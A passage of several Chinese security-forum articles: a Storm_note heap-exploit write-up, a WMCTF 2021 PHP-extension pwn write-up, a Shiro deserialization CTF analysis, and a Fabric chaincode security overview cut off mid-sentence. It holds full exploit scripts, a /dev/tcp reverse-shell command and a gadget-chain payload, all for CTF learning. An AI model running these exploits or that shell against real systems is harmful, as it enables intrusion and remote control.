3. Large bin attack导致任意写
4. 在mmap区域的随机数区域处get一个chunk
5. 重写mmap区域chunk
6. 触发后门函数，getshell
**不过这里有几个小问题没太弄明白：**
第一个为：系统具体是如何在链表操作后malloc 0x48后去找到我们在mmap区域所构造出来的0x56大小的chunk的？
第二个为：就是第二个large bin插入后发生的链表操作有以下：
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
第一个chunk构造（fwd）：
pwndbg> x/10xg 0x000055740eab36d0
0x55740eab36d0: 0x0000000000000000 0x0000000000000611
0x55740eab36e0: 0x0000000000000000 0x00000000abcd00e8
0x55740eab36f0: 0x0000000000000000 0x00000000abcd00c3
0x55740eab3700: 0x0000000000000000 0x0000000000000000
0x55740eab3710: 0x0000000000000000 0x0000000000000000
第二个chunk构造（victim）：
pwndbg> x/10xg 0x000055740eab3040
0x55740eab3040: 0x0000000000000000 0x0000000000000621
0x55740eab3050: 0x0000000000000000 0x00000000abcd00e0
0x55740eab3060: 0x0000000000000000 0x0000000000000000
0x55740eab3070: 0x0000000000000000 0x0000000000000000
0x55740eab3080: 0x0000000000000000 0x0000000000000000
发生链表操作后，第一个chunk：
pwndbg> x/10xg 0x0000562493c6d6d0
0x562493c6d6d0: 0x0000000000000000 0x0000000000000611
0x562493c6d6e0: 0x0000000000000000 0x0000562493c6d040
0x562493c6d6f0: 0x0000000000000000 0x0000562493c6d040
0x562493c6d700: 0x0000000000000000 0x0000000000000000
0x562493c6d710: 0x0000000000000000 0x0000000000000000
第二个chunk：
pwndbg> x/10xg 0x0000562493c6d040
0x562493c6d040: 0x0000000000000000 0x0000000000000621
0x562493c6d050: 0x00007f6959dd4b78 0x00000000abcd00e8
0x562493c6d060: 0x0000562493c6d6d0 0x00000000abcd00c3
0x562493c6d070: 0x0000000000000000 0x0000000000000000
0x562493c6d080: 0x0000000000000000 0x0000000000000000
我根据代码操作后，发现第二个chunk发生链表后的fd和bk指针改变的和我操作的不一致，根据代码`victim->fd =
fwd;`他的fd指针应该是`0x0000562493c6d6d0`，但是不是，而是`main_area`地址，bk指针也同样不一致。
还有mmap区域的chunk：
pwndbg> x/10xg 0xabcd00e0
0xabcd00e0: 0x2493c6d040000000 0x0000000000000056
0xabcd00f0: 0x00007f6959dd4b78 0x0000562493c6d040
0xabcd0100: 0x01627aa51d72b4f5 0x716640eeb63e737c
0xabcd0110: 0x97f5a8e005bc15e5 0x8854b65bb145df49
0xabcd0120: 0x8761c55ca19c7998 0xda55ad2af9da7c5f
在`0xabcd00f0 - 8`区域为什么会有`main_area`和`victim chunk`的指针的？
### EXP：
from pwn import *
p = process('./Storm_note')
#p = remote('ctf1.linkedbyx.com',10476)
elf = ELF('./Storm_note')
libc = ELF('./libc-2.23.so')
#max_fast =
def create(size):
p.sendlineafter('Choice: ','1')
p.sendlineafter('size ?\n',str(size))
def edit(index,content):
p.sendlineafter('Choice: ','2')
p.sendlineafter('Index ?\n',str(index))
p.sendafter('Content: \n',content)
def delete(index):
p.sendlineafter('Choice: ','3')
p.sendlineafter('Index ?\n',str(index))
def getshell():
p.sendlineafter('Choice: ','666')
p.sendlineafter('If you can open the lock, I will let you in','A'*0x30)
create(0x28) #0
create(0x528) #1
create(0xf8) #2
create(0x28) #3
create(0x28) #4
create(0x518) #5
create(0xf8) #6
create(0x28) #7
delete(0)
edit(1,'A'*0x520+p64(0x560))
delete(2)
create(0x38) #0
create(0x610)#2
delete(4)
edit(5,'A'*0x510+p64(0x550))
delete(6)
create(0x38) #4
create(0x600)#6
delete(6)
delete(2)
create(0x610)#2
edit(5,p64(0)+p64(0x611)+p64(0)+p64(0xABCD0100-0x20+8)+p64(0)+p64(0xABCD0100-0x38-5))
delete(2)
edit(1,p64(0)+p64(0x621)+p64(0)+p64(0xABCD0100-0x20))
create(0x48)#2
gdb.attach(p)
edit(2,p64(0)*2+'A'*0x30)
getshell()
p.interactive() | 社区文章 |
# 2021WMCTF_checkin学习PHP PWN
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
很早的比赛中就出现了web pwn类型的题目，不久前参加的WMCTF中也出现了一道PHP PWN，以前从来没有接触过，比赛时无从下手，赛后复现学习一下PHP
PWN的基本利用思路。
## 环境搭建
结合以前该类型的pwn题，考察点主要是php拓展模块的漏洞利用，一般是自己实现的php的so文件，对这个so文件进行逆向分析，找到漏洞点，写php脚本实现漏洞利用。
本题给了一个Docker环境已经部署好php
pwn的环境，并且容器中安装了gdbserver，不需要再自己安装对应版本的php再手动添加拓展模块，并且方便了调试。
只需要将Docker镜像导入再拉起容器即可。
导入镜像命令：
`sudo docker load < wmctf_php_player.tar`
查看导入的镜像：
$ sudo docker images
[sudo] password for cc:
REPOSITORY TAG IMAGE ID CREATED SIZE
wmctf_php_player latest 71dd630d58a3 2 weeks ago 521MB
拉起镜像，host模式类似于Vmware的桥接模式，方便使用容器中的gdbserver进行调试：
`sudo docker run --network=host wmctf_php_player`
由于不知道远程交互Docker的启动命令，本地调试的时候直接进入容器，将php脚本放到容器中进行本地调试：
`sudo docker exec -it cfda32d8606c /bin/bash`
如下：run_php应该就是一个远程交互的接口，功能就是读入用户输入，保存到临时文件中然后php执行。
容器中php版本如下：
root@cc:/# php -v
PHP 8.0.9 (cli) (built: Jul 30 2021 00:29:20) ( NTS )
Copyright (c) The PHP Group
Zend Engine v4.0.9, Copyright (c) Zend Technologies
## 本地调试
可以通过如下命令找到php拓展模块：
root@cc:/# php -i | grep -i extension_dir
extension_dir => /usr/local/lib/php/extensions/no-debug-non-zts-20200930 => /usr/local/lib/php/extensions/no-debug-non-zts-20200930
sqlite3.extension_dir => no value => no value
root@cc:/# ls /usr/local/lib/php/extensions/no-debug-non-zts-20200930
opcache.so sodium.so wmctf_php_pwn.so
前面提到容器中已经安装了gdbserver，运行php，映射到端口6666，在本机上指定该端口即可调试，就本题写一个测试脚本。
<?php
welcome_to_wmctf();
?>
上述函数时php拓展模块中函数zif_welcome_to_wmctf：
`php_printf("Welcome to WMCTF! :)\nWMcake.BabyCake.Ezcake.simpleCAke.\n");`
Docker：
`gdbserver 127.0.0.1:6666 php 1.php`
本地gdb启动命令：
target remote 127.0.0.1:6666
add-symbol-file wmctf_php_pwn.so
b zif_welcome_to_wmctf
c
php成功加载了拓展模块：
至此，调试环境已经搭好。
## PHP变量基本结构
刚开始逆向wmctf_php_pwn.so的时候，函数传参一脸懵逼，完全通过手头的wp和函数功能来猜参数意义，然后跟着Clang师傅的博客学习了一下PHP变量结构。
以zif_wm_add函数为例，IDA中参数解析部分如下：
size_t __fastcall zif_wm_add(__int64 a1, __int64 a2)
{
unsigned int args_num; // er12
__int64 v3; // r12
size_t v4; // rbx
size_t result; // rax
char *v6; // rax
Cake *v7; // r13
__int64 v8; // r13
__int64 v9; // rcx
unsigned __int64 v10; // [rsp+0h] [rbp-38h] BYREF
__int64 v11[6]; // [rsp+8h] [rbp-30h] BYREF
args_num = *(_DWORD *)(a1 + 44);
v10 = 0LL;
if ( args_num != 2 )
return zif_wm_add_cold_2(a1, a2);
if ( *(_BYTE *)(a1 + 88) == 4 )
{
v10 = *(_QWORD *)(a1 + 80);
}
else
{
v8 = a1 + 80;
if ( !(unsigned __int8)zend_parse_arg_long_slow(a1 + 80, &v10) )
{
v9 = 0LL;
args_num = 1;
return zend_wrong_parameter_error(9LL, args_num, 0LL, v9, v8);
}
}
if ( *(_BYTE *)(a1 + 104) != 6 )
{
v8 = a1 + 96;
if ( (unsigned __int8)zend_parse_arg_str_slow(a1 + 96, v11) )
{
v3 = v11[0];
goto LABEL_6;
}
v9 = 4LL;
return zend_wrong_parameter_error(9LL, args_num, 0LL, v9, v8);
}
调试在该处下断点，结合php源码Zend/zend_types.h中的定义，跟变量有关的基本结构体是_zval_struct，变量类型由type决定，type决定了value对应的结构体类型:
struct _zval_struct {
zend_value value; /* value */
union {
uint32_t type_info;
struct {
ZEND_ENDIAN_LOHI_3(
zend_uchar type, /* active type */
zend_uchar type_flags,
union {
uint16_t extra; /* not further specified */
} u)
} v;
} u1;
union {
uint32_t next; /* hash collision chain */
uint32_t cache_slot; /* cache slot (for RECV_INIT) */
uint32_t opline_num; /* opline number (for FAST_CALL) */
uint32_t lineno; /* line number (for ast nodes) */
uint32_t num_args; /* arguments number for EX(This) */
uint32_t fe_pos; /* foreach position */
uint32_t fe_iter_idx; /* foreach iterator index */
uint32_t access_flags; /* class constant access flags */
uint32_t property_guard; /* single property guard */
uint32_t constant_flags; /* constant flags */
uint32_t extra; /* not further specified */
} u2;
};
type的值也在该文件中：
/* Regular data types: Must be in sync with zend_variables.c. */
#define IS_UNDEF 0
#define IS_NULL 1
#define IS_FALSE 2
#define IS_TRUE 3
#define IS_LONG 4
#define IS_DOUBLE 5
#define IS_STRING 6
#define IS_ARRAY 7
#define IS_OBJECT 8
#define IS_RESOURCE 9
#define IS_REFERENCE 10
#define IS_CONSTANT_AST 11 /* Constant expressions */
/* Fake types used only for type hinting.
* These are allowed to overlap with the types below. */
#define IS_CALLABLE 12
#define IS_ITERABLE 13
#define IS_VOID 14
#define IS_STATIC 15
#define IS_MIXED 16
/* internal types */
#define IS_INDIRECT 12
#define IS_PTR 13
#define IS_ALIAS_PTR 14
#define _IS_ERROR 15
/* used for casts */
#define _IS_BOOL 17
#define _IS_NUMBER 18
根据程序逻辑*（a1+44）是参数个数，zif_wm_add对应的2个参数type值为4、6，即long和string。
以type 6为例，此时的value为zend_string。
struct _zend_string {
zend_refcounted_h gc;
zend_ulong h; /* hash value */
size_t len;
char val[1];
};
搞清楚变量基本结构之后，php pwn利用经常用到的一个基本变量结构为zend_object:
struct _zend_object {
zend_refcounted_h gc;
uint32_t handle; // TODO: may be removed ???
zend_class_entry *ce;
const zend_object_handlers *handlers;
HashTable *properties;
zval properties_table[1];
};
其中包含了一个`zend_object_handlers`，是一个函数指针表，包含了对`zend_object`对象的操作，可以通过伪造一个`zend_object_handlers`，再劫持`zend_object`中的`zend_object_handlers`指针实现利用。
## 逆向分析
结构体：
struct Cake{
char *buffer;
int len;
int flag;
}
漏洞在当edit的newSize小于oldSize时，重新申请一块内存但是没有更新size，所以可以越界读写。
if ( oldSize > newSize )
{
_efree();
v10 = (char *)_emalloc(newSize + 1);
cakeList[idx].cakeName = v10;
if ( v10 )
{
result = (__int64)strncpy(v10, (const char *)(newbuf + 24), newSize);
goto LABEL_15;
}
}
## 利用分析
复现学习是以venom的wp为依照，按照该思路进行利用。首先申请两个chunk，chunk的大小与zend_object_handlers结构体相同，然后利用漏洞，释放掉后申请的chunk。
然后声明一个php对象，zend_object结构体会在small chunk后，可以越界读泄露heap地址和elf基址。
$lucky = new Lucky();
$lucky->a0 = "aaaaaaa";
$lucky->a1 = function ($x) { };
并且原来被释放的内存区域变为zend_object_handlers。
查看内存，chunk 0x48下方是一个zend_object结构体：
将第一个成员变量赋值为字符串’a’*7，可以看出properties_table中是一个zend_string结构体，查看该处内存：
从最上方内存布局的图中发现，与该成员变量相邻有一个type 为8 的成员变量，即`#define IS_OBJECT
8`，并且该zval的value指向了我们释放的chunk 0x100。
php的空闲内存块管理非常简单，隔size大小有一个next指针指向下一个空闲块，所以通过越界写，劫持另一大小空闲块的next。使得有一个指向zend_object_handlers块的指针，目的是读取其中内容在可控堆块中伪造该结构体。
然后利用与zend_object相邻的堆块越界写，劫持type 8
的zval结构体中的value指针，指向前面伪造的可控堆块，然后在可控堆块中伪造命令执行函数指针，即可通过`($lucky->a1)($cmd);`执行任意命令。
此时内存如图：
在该地址下断点，当执行`($lucky->a1)($cmd);`时：
$cmd = '/bin/bash -c "/bin/bash -i >&/dev/tcp/127.0.0.1/6666 0>&1"';
($lucky->a1)($cmd);
成功反弹shell：
还有一种做法是劫持libc中efree_got，就有点像libc pwn，就不分析了。
## 总结
深入学习之后觉得与其他的pwn并没有太大区别，学无止境，继续努力吧。
## exp
<?php
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function get_bytes($idx, $offset, $cnt){
$address = 0;
$i = 0;
for($i = $cnt-1; $i >= 0; --$i) {
$tmp = ord(wm_get_byte($idx, $offset+$i));
$address <<= 8;
$address |= $tmp;
}
return $address;
}
function edit_bytes($idx, $offset, $cnt, $data){
$address = 0;
$i = 0;
for($i = 0; $i < $cnt; ++$i) {
$tmp = $data & 0xff;
wm_edit_byte($idx, $offset+$i, $tmp);
$data >>= 8;
}
}
class Lucky{
public $a0, $a1;
}
$str = str_repeat('B', (0x100));
welcome_to_wmctf();
wm_add(4, $str);
wm_add(0, $str);
$str1 = str_repeat('B', (0x47));
wm_edit(0, $str1);
$lucky = new Lucky();
$lucky->a0 = "aaaaaaa";
$lucky->a1 = function ($x) { };
$object_addr = get_bytes(0, 0x88, 8);
$elf_addr = get_bytes(0, 0x68, 8)-0xa6620-0x1159000;
echo "object_addr ==> 0x".dechex($object_addr)."\n";
echo "elf_addr ==> 0x".dechex($elf_addr)."\n";
wm_add(1, $str);
wm_edit(1, "A");
edit_bytes(1, 8, 8, $object_addr);#chunk 0
wm_add(2, "A");
wm_add(3, $str);
wm_edit(3, ptr2str(1, 1));# chunk3 = chunk0
for($i = 0; $i < 0x100; $i+=8){
$tmp = get_bytes(3, $i, 8);
edit_bytes(4, $i, 8, $tmp);
}
edit_bytes(0, 0x88, 8, $object_addr-0x140);# change 2 fake struct
edit_bytes(4, 0x70, 8, $elf_addr+0x429470);
edit_bytes(4, 0x38, 4, 1);
$cmd = '/bin/bash -c "/bin/bash -i >&/dev/tcp/127.0.0.1/6666 0>&1"';
($lucky->a1)($cmd);
?>
## 参考
<https://www.anquanke.com/post/id/235237>
比较详细的介绍了环境搭建的过程
https://hackmd.io/@ZzDmROodQUynQsF9je3Q5Q/Sy7hS9bBS?type=view
详细介绍了php变量基本结构
[https://mp.weixin.qq.com/s?__biz=MzIzMTc1MjExOQ==&mid=2247496630&idx=1&sn=f17c447a3f71d5749c88d58e69b28a4b](https://mp.weixin.qq.com/s?__biz=MzIzMTc1MjExOQ==&mid=2247496630&idx=1&sn=f17c447a3f71d5749c88d58e69b28a4b)
venom wp | 社区文章 |
**作者： summersec
文章首发：<https://www.anquanke.com/post/id/231488>**
# 前言
这是某银行的内部的一个CTF比赛，受邀参加。题目三个关键词`权限绕过`、`shiro`、`反序列化`，题目源码已经被修改，但考察本质没有，题目源码会上传到[JavaLearnVulnerability](https://github.com/SummerSec/JavaLearnVulnerability)。
# 黑盒测试
* xray测试shiro的key
* dirsearch跑目录
* sqlmap测试登陆框是否存在sql注入
* * *
# 白盒代码审计
## 源码初步分析
* 版本 shiro == 1.5.3（不存在remember反序列化漏洞，但存在CVE-2020-13933权限绕过漏洞）
* * *
* shiro验证通过Realm的方式判断用户是否合法，此处重写`doGetAuthorizationInfo`方法，账户名`admin`（可能有用）。
protected AuthenticationInfo doGetAuthenticationInfo(AuthenticationToken authenticationToken) throws AuthenticationException {
String username = (String)authenticationToken.getPrincipal();
if (!"admin".equals(username)) {
throw new UnknownAccountException("unkown user");
} else {
return new SimpleAuthenticationInfo(username, UUID.randomUUID().toString().replaceAll("-", ""), getName());
}
}
* * *
* 访问控制权限，可能看到`index`、`dologin`存在访问权限。
> > * anon：匿名用户可访问
> * authc：认证用户可访问
> * user：使用rememberMe可访问
> * perms：对应权限可访问
> * role：对应角色权限可访问
@Bean
ShiroFilterFactoryBean shiroFilterFactoryBean() {
ShiroFilterFactoryBean bean = new ShiroFilterFactoryBean();
bean.setSecurityManager(this.securityManager());
bean.setLoginUrl("/login");
Map<String, String> map = new LinkedHashMap();
map.put("/doLogin", "anon");
map.put("/index/*", "authc");
bean.setFilterChainDefinitionMap(map);
return bean;
}
* * *
* `SQL注入？`第一眼反应感觉可能存在注入漏洞或者是XSS但又想到是CTF比赛，应该是不会考察XSS，所以觉得是SQL注入漏洞，然后用SQLMAP尝试一波注入绕过后，没有发现SQL注入漏洞。
@Override
public String filter(String param) {
String[] keyWord = new String[]{"'", "\"", "select", "union", "/;", "/%3b"};
String[] var3 = keyWord;
int var4 = keyWord.length;
for(int var5 = 0; var5 < var4; ++var5) {
String i = var3[var5];
param = param.replaceAll(i, "");
}
return param;
}
* * *
* 远程命令执行？翻遍代码发现调用`exeCmd`方法只有`LogHandler`。
public static String exeCmd(String commandStr) {
BufferedReader br = null;
String OS = System.getProperty("os.name").toLowerCase();
try {
Process p = null;
if (OS.startsWith("win")){
p = Runtime.getRuntime().exec(new String[]{"cmd", "/c", commandStr});
}else {
p = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", commandStr});
}
br = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line = null;
StringBuilder sb = new StringBuilder();
while((line = br.readLine()) != null) {
sb.append(line + "\n");
}
return sb.toString();
} catch (Exception var5) {
var5.printStackTrace();
return "error";
}
}
* * *
# 灰盒测试
* 根据获取的账号`admin`尝试爆破（无果）
* sql注入再次尝试根据前面过滤掉参数进行bypass（无果），后期发现根本没有数据库链接操作，不可能存在sql注入。
* 根据获取的shiro版本可知，没有shiro反序列化漏洞但有权限绕过（成功）。
目前为止只能根据页面知道，该页面是一个`访问日志`展示页面。
* * *
# 源码深度刨析
## 深度分析
Javaweb题目当然还是得从web页面分析，看源码分析一共就两个类访问控制器是处理web请求的。 _`IndexController`处理登录前后页面 _
`LoginController`处理登录请求页面 前面分析到没有数据库，在源码也没发现登录的账号和密码故不用考虑
`LoginController`类，深度分析`IndexController`类发现该类存在反序列化操作。
@GetMapping({"/index/{name}"})
public String index(HttpServletRequest request, HttpServletResponse response, @PathVariable String name) throws Exception {
Cookie[] cookies = request.getCookies();
boolean exist = false;
Cookie cookie = null;
User user = null;
if (cookies != null) {
Cookie[] var8 = cookies;
int var9 = cookies.length;
for(int var10 = 0; var10 < var9; ++var10) {
Cookie c = var8[var10];
//判断cookie中是否存在hacker字段
if (c.getName().equals("hacker")) {
exist = true;
cookie = c;
break;
}
}
}
// 存在hacker字段，执行反序列化操作
//
if (exist) {
byte[] bytes = Tools.base64Decode(cookie.getValue());
//反序列化操作点
user = (User)Tools.deserialize(bytes);
} else {
// 没有hacker字段，添加一个并设置其值
user = new User();
user.setID(1);
user.setUserName(name);
cookie = new Cookie("hacker", Tools.base64Encode(Tools.serialize(user)));
response.addCookie(cookie);
}
// 添加值到前端页面
request.setAttribute("hacker", user);
request.setAttribute("logs", new LogHandler());
return "index";
}
* 前端源码
* `存在反序列化点，下一步肯定构造反序列化请求，但如何构造反序列化请求呢？`前文提及到调用`exeCmd`方法只有`LogHandler`类。分析该类，两个方法都调用`exeCmd`执行命令。`invoke`方法里面调用的`exeCmd`是执行`wirteLog`命令，而`toString`方法里面调用`exeCmd`是执行`readLog`命令。
public class LogHandler extends HashSet implements InvocationHandler {
private Object target;
private String readLog = "tail accessLog.txt";
private String writeLog = "echo /test >> accessLog.txt";
public LogHandler() {
}
public LogHandler(Object target) {
this.target = target;
}
@Override
// 请求url路径写入访问日志
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
Tools.exeCmd(this.writeLog.replaceAll("/test", (String)args[0]));
return method.invoke(this.target, args);
}
@Override
// 读取日志返回结果
public String toString() {
return Tools.exeCmd(this.readLog);
}
}
* * *
## 小结
总结下目前为止所有的信息点：
1. 存在权限绕过，URL：`index/%3b/admin`(/%3b可以是`/'/`, `select`, `union`, `/;`之一)
2. 存在反序列化点`IndexController#index`，构造请求`cookie`一定要有`hacker`字段。
3. `index/admin`是访问日志
4. 反序列化执行的点在`LogHandler`其中的两个方法
* * *
## Payload构造
下面两端代码分别是通过反射调用`invoke`和`toString`方法达到执行命令目的，对比一下很明显`toString`方法更加的简单质朴。
public void invoke() throws Throwable {
LogHandler logHandler = new LogHandler();
Field wirtelog = logHandler.getClass().getDeclaredField("writeLog");
wirtelog.setAccessible(true);
wirtelog.set(logHandler, "calc");
Object ob = new Object();
Method method = logHandler.getClass().getMethod("invoke", Object.class, Method.class, Object[].class);
Object[] obs = new Object[]{"asd","asd"};
logHandler.invoke(ob,method,obs);
}
public void ToString() throws NoSuchFieldException, IllegalAccessException {
LogHandler logHandler = new LogHandler();
Field readlog = logHandler.getClass().getDeclaredField("readLog");
readlog.setAccessible(true);
readlog.set(logHandler, "calc");
logHandler.toString();
}
* * *
反序列化点get！反序列化目标get！最后一步构造反序列化链！现在缺少一个封装类将构造好的类封装发给服务器直接反序列化，`ysoserial`其中的CC5中使用的`BadAttributeValueExpException`异常类满足要求。最终Payload如下：
* * *
public static void Calc() throws Throwable {
LogHandler logHandler = new LogHandler();
Field readlog = logHandler.getClass().getDeclaredField("readLog");
readlog.setAccessible(true);
readlog.set(logHandler, "calc");
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException, logHandler);
String datas = Tools.base64Encode(Tools.serialize(badAttributeValueExpException));
System.out.println("Cookie: " + "hacker="+ datas);
}
* * *
## 非预期--执行命令
**效果如下：访问/index/admin &&calc会执行命令**
### 原因分析
根本原因在下面这一段，作者没有考虑到用户会使用管道来执行命令，直接将url路径直接就写访问日志中，导致执行命令。
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
Tools.exeCmd(this.writeLog.replaceAll("/test", (String)args[0]));
return method.invoke(this.target, args);
}
* * *
# 知识补充
写到这，其实是对shiro一些知识的补充。前期对shiro了解较少，后期做了大量知识补充。官方给的是jar包，反编译之后改成自己的踩了
一些坑。顺便记录一下，只想看题目分析的可以Pass。
1. 下面是自己不仔细导致错误，其实都知道，但是忘记了
* User没有实现`Serializable接口`导致报错，不能反序列化
* User类没有`serialVersionUID`导致报错，版本不一致
2. Tools类没有判断操作系统的版本，导致执行命令不成功
3. tail命令在windows系统是没有的，导致无法生成acessLog.txt文件
4. tail加了-f参数导致服务器一直读取文件，导致长时间不回显
5. 注释掉`MyFilter`中`Component`就是shiro原本的CVE-2020-13933漏洞
6. 学习了b站关于shiro内容[【狂神说Java】SpringBoot整合Shiro框架](https://www.bilibili.com/video/BV1NE411i7S8)
* * *
# 总结
* Gadget：
* Tools.base64Decode()
* Tools.deserialize()
* ObjectInputStream.readObject()
* BadAttributeValueExpException.readObject()
* LogHandler.toSting()
* Tools.exeCmd()
当时写这个题目的时候已经无限接近答案了，只是当时不确定怎么封装类。不得不说CC链还是不熟悉，没有完全吃透，不得不说CC永远的神！
* * *
# 参考
<https://github.com/SummerSec/JavaLearnVulnerability>
<https://www.bilibili.com/video/BV1NE411i7S8>
* * * | 社区文章 |
**作者：极光@知道创宇404区块链安全研究团队
时间：2020年8月27日**
#### 前言
随着区块链技术的发展，越来越多的个人及企业也开始关注区块链，而和区块链联系最为紧密的，恐怕就是金融行业了。
然而虽然比特币区块链大受热捧，但毕竟比特币区块链是属于公有区块链，公有区块链有着其不可编辑，不可篡改的特点，这就使得公有链并不适合企业使用，毕竟如果某金融企业开发出一个区块链，无法受其主观控制，那对于它的意义就不大。因此私有链就应运而生，但私有链虽然能够解决以上的问题，如果仅仅只是各个企业自己单独建立，那么还将是一个个孤岛。如果能够联合起来开发私有区块链，最好不过，联盟链应运而生。
目前已经有了很多的联盟链，比较知名的有`Hyperledger`。超级账本（Hyperledger）是Linux基金会于2015年发起的推进区块链数字技术和交易验证的开源项目，加入成员包括：IBM、Digital
Asset、荷兰银行（ABN
AMRO）、埃森哲（Accenture）等十几个不同利益体，目标是让成员共同合作，共建开放平台，满足来自多个不同行业各种用户案例，并简化业务流程。
为了提升效率，支持更加友好的设计，各联盟链在智能合约上出现了不同的发展方向。其中，`Fabric`联盟链平台智能合约具有很好的代表性，本文主要分析其智能合约安全性，其他联盟链平台合约亦如此，除了`代码语言本身`的问题，也存在`系统机制安全`，`运行时安全`，`业务逻辑安全`等问题。
#### Fabric智能合约
Fabric的智能合约称为链码（chaincode），分为系统链码和用户链码。系统链码用来实现系统层面的功能，用户链码实现用户的应用功能。链码被编译成一个独立的应用程序，运行于隔离的Docker容器中。
和以太坊相比，Fabric链码和底层账本是分开的，升级链码时并不需要迁移账本数据到新链码当中，真正实现了逻辑与数据的分离，同时，链码采用Go、Java、Nodejs语言编写。
**数据流向**
Fabric链码通过gprc与peer节点交互
(1)当peer节点收到客户端请求的输入(propsal)后，会通过发送一个链码消息对象（带输入信息，调用者信息）给对应的链码。
(2)链码调用ChaincodeBase里面的invoke方法，通过发送获取数据（getState）和写入数据（putState）消息，向peer节点获取账本状态信息和发送预提交状态。
(3)链码发送最终输出结果给peer节点，节点对输入(propsal)和 输出(propsalreponse)进行背书签名，完成第一段签名提交。
(4)之后客户端收集所有peer节点的第一段提交信息，组装事务（transaction）并签名，发送事务到orderer节点排队，最终orderer产生区块，并发送到各个peer节点，把输入和输出落到账本上，完成第二段提交过程。
**链码类型**
* **用户链码**
由应用开发人员使用Go(Java/JS)语言编写基于区块链分布式账本的状态及处理逻辑，运行在链码容器中, 通过Fabric提供的接口与账本平台进行交互
* **系统链码**
负责Fabric节点自身的处理逻辑, 包括系统配置、背书、校验等工作。系统链码仅支持Go语言, 在Peer节点启动时会自动完成注册和部署。
**部署**
可以通过官方 `Fabric-samples` 部署`test-network`，需要注意的是国内网络环境对于Go编译下载第三方依赖可能出现网络超时，可以参考
[goproxy.cn](https://github.com/goproxy/goproxy.cn) 解决，成功部署后如下图：
#### 语言特性问题
不管使用什么语言对智能合约进行编程，都存在其对应的语言以及相关合约标准的安全性问题。Fabric
智能合约是以通用编程语言为基础，指定对应的智能合约模块(如：Go/Java/Node.js)
* **不安全的随机数**
随机数应用广泛，最为熟知的是在密码学中的应用，随机数产生的方式多种多样，例如在Go程序中可以使用 math/rand
获得一个随机数，此种随机数来源于伪随机数生成器，其输出的随机数值可以轻松预测。而在对安全性要求高的环境中，如 UUID 的生成，Token
生成，生成密钥、密文加盐处理。使用一个能产生可能预测数值的函数作为随机数据源，这种可以预测的数值会降低系统安全性。
伪随机数是用确定性的算法计算出来自[0,1]均匀分布的随机数序列。 并不真正的随机，但具有类似于随机数的统计特征，如均匀性、独立性等。
在计算伪随机数时，若使用的初值（种子）不变，这里的“初值”就是随机种子，那么伪随机数的数序也不变。在上述代码中，通过对比两次执行结果都相同。
通过分析rand.Intn()的源码，可见，在”math/rand” 包中，如果没有设置随机种子， Int() 函数自己初始化了一个
lockedSource
后产生伪随机数，并且初始化时随机种子被设置为1。因此不管重复执行多少次代码，每次随机种子都是固定值，输出的伪随机数数列也就固定了。所以如果能猜测到程序使用的初值（种子），那么就可以生成同一数序的伪随机数。
fmt.Println(rand.Intn(100)) //
fmt.Println(rand.Intn(100)) //
fmt.Println(rand.Float64()) // 产生0.0-1.0的随机浮点数
fmt.Println(rand.Float64()) // 产生0.0-1.0的随机浮点数
jiguang@example$ go run unsafe_rand.go
81
87
0.6645600532184904
0.4377141871869802
jiguang@example$ go run unsafe_rand.go
81
87
0.6645600532184904
0.4377141871869802
jiguang@example$
* **不当的函数地址使用**
错误的将函数地址当作函数、条件表达式、运算操作对象使用，甚至参与逻辑运算，将导致各种非预期的程序行为发生。比如在如下if语句，其中`func()`为程序中定义的一个函数:
if (func == nil) {
...
}
由于使用`func`而不是`func()`，也就是使用的是`func`的地址而不是函数的返回值，而函数的地址不等于`nil`，如果用函数地址与`nil`作比较时，将使其条件判断恒为`false`。
* **资源重释放**
defer 关键字可以帮助开发者准确的释放资源，但是仅限于一个函数中。
如果一个全局对象中存储了大量需要手动释放的资源，那么编写释放函数时就很容易漏掉一些释放函数，也有可能造成开发者在某些条件语句中提前进行资源释放。
* **线程安全**
很多时候，编译器会做一些神奇的优化，导致意想不到的数据冲突，所以，只要满足“同时有多个线程访问同一段内存，且其中至少有一个线程的操作是写操作”这一条件，就需要作并发安全方面的处理。
* **内存分配**
对于每一个开发者，内存是都需要小心使用的资源，内存管理不慎极容易出现的OOM（OutOfMemoryError），内存泄露最终会导致内存溢出，由于系统中的内存是有限的，如果过度占用资源而不及时释放，最后会导致内存不足，从而无法给所需要存储的数据提供足够的内存，从而导致内存溢出。导致内存溢出也可能是由于在给数据分配大小时没有根据实际要求分配，最后导致分配的内存无法满足数据的需求，从而导致内存溢出。
var detailsID int = len(assetTransferInput.ID)
assetAsBytes := make([]int, detailsID)
如上代码，`assetTransferInput.ID`为用户可控参数，如果传入该参数的值过大，则make内存分配可能导致内存溢出。
* **冗余代码**
有时候一段代码从功能上、甚至效率上来讲都没有问题，但从可读性和可维护性来讲，可优化的地方显而易见。特别是在需要消耗gas执行代码逻辑的合约中。
if len(assetTransferInput.ID) < 0 {
return fmt.Errorf("assetID field must be a non-empty")
}
if len(assetTransferInput.ID) == 0 {
return fmt.Errorf("assetID field must be a non-empty")
}
#### 运行时安全
* **整数溢出**
不管使用的何种虚拟机执行合约，各类整数类型都存在对应的存储宽度，当试图保存超过该范围的数据时，有符号数就会发生整数溢出。
涉及无符号整数的计算不会产生溢出，而是当数值超过无符号整数的取值范围时会发生回绕。如：无符号整数的最大值加1会返回0，而无符号整数最小值减1则会返回该类型的最大值。当无符号整数回绕产生一个最大值时，如果数据用于如
[]byte(string)，string([]byte)
